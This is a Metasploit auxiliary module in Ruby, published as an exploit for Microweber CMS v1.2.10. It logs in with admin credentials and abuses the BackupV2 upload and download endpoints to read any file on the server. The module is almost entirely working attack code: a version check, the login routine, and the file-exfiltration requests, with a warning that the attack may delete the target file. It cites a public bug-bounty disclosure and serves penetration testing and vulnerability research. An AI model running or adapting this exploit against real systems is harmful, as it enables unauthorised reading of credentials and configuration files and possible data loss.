# Exploit Title: Microweber CMS v1.2.10 Local File Inclusion (Authenticated) # Date: 22.02.2022 # Exploit Author: Talha Karakumru # Vendor Homepage: https://microweber.org/ # Software Link: https://github.com/microweber/microweber/archive/refs/tags/v1.2.10.zip # Version: Microweber CMS v1.2.10 # Tested on: Microweber CMS v1.2.10 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Microweber CMS v1.2.10 Local File Inclusion (Authenticated)', 'Description' => %q{ Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem. Upload function may delete the local file if the web service user has access. }, 'License' => MSF_LICENSE, 'Author' => [ 'Talha Karakumru ' ], 'References' => [ ['URL', 'https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/'] ], 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ OS_RESOURCE_LOSS ] }, 'Targets' => [ [ 'Microweber v1.2.10', {} ] ], 'Privileged' => true, 'DisclosureDate' => '2022-01-30' ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path for Microweber', '/']), OptString.new('USERNAME', [true, 'The admin\'s username for Microweber']), OptString.new('PASSWORD', [true, 'The admin\'s password for Microweber']), OptString.new('LOCAL_FILE_PATH', [true, 'The path of the local file.']), OptBool.new('DEFANGED_MODE', [true, 'Run in defanged mode', true]) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'login') }) if res.nil? fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.') end print_status 'Checking if it\'s Microweber CMS.' if res.code == 200 && !res.body.include?('Microweber') print_error 'Microweber CMS has not been detected.' Exploit::CheckCode::Safe end if res.code != 200 fail_with(Failure::Unknown, res.body) end print_good 'Microweber CMS has been detected.' return check_version(res.body) end def check_version(res_body) print_status 'Checking Microweber\'s version.' begin major, minor, build = res_body[/Version:\s+(\d+\.\d+\.\d+)/].gsub(/Version:\s+/, '').split('.') version = Rex::Version.new("#{major}.#{minor}.#{build}") rescue NoMethodError, TypeError return Exploit::CheckCode::Safe end if version == Rex::Version.new('1.2.10') print_good 'Microweber version ' + version.to_s return Exploit::CheckCode::Appears end print_error 'Microweber version ' + version.to_s if version < Rex::Version.new('1.2.10') print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.' return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def try_login print_status 'Trying to log in.' res = send_request_cgi({ 'method' => 'POST', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'api', 'user_login'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'lang' => '', 'where_to' => 'admin_content' } }) if res.nil? fail_with(Failure::Unreachable, 'Log in request failed.') end if res.code != 200 fail_with(Failure::Unknown, res.body) end json_res = res.get_json_document if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.' fail_with(Failure::BadConfig, 'Wrong username or password.') end if !json_res['success'].nil? && json_res['success'] == 'You are logged in' print_good 'You are logged in.' return end fail_with(Failure::Unknown, 'An unknown error occurred.') end def try_upload print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.' referer = '' if !datastore['VHOST'].nil? && !datastore['VHOST'].empty? referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/" else referer = full_uri end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'), 'vars_get' => { 'src' => datastore['LOCAL_FILE_PATH'] }, 'headers' => { 'Referer' => referer } }) if res.nil? fail_with(Failure::Unreachable, 'Upload request failed.') end if res.code != 200 fail_with(Failure::Unknown, res.body) end if res.headers['Content-Type'] == 'application/json' json_res = res.get_json_document if json_res['success'] print_good json_res['success'] return end fail_with(Failure::Unknown, res.body) end fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.') end def try_download filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1] print_status 'Downloading ' + filename + ' from the backup folder.' referer = '' if !datastore['VHOST'].nil? && !datastore['VHOST'].empty? referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/" else referer = full_uri end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'download'), 'vars_get' => { 'filename' => filename }, 'headers' => { 'Referer' => referer } }) if res.nil? fail_with(Failure::Unreachable, 'Download request failed.') end if res.code != 200 fail_with(Failure::Unknown, res.body) end if res.headers['Content-Type'] == 'application/json' json_res = res.get_json_document if json_res['error'] fail_with(Failure::Unknown, json_res['error']) return end end print_status res.body end def run if datastore['DEFANGED_MODE'] warning = <<~EOF Triggering this vulnerability may delete the local file if the web service user has the permission. If you want to continue, disable the DEFANGED_MODE. => set DEFANGED_MODE false EOF fail_with(Failure::BadConfig, warning) end try_login try_upload try_download end end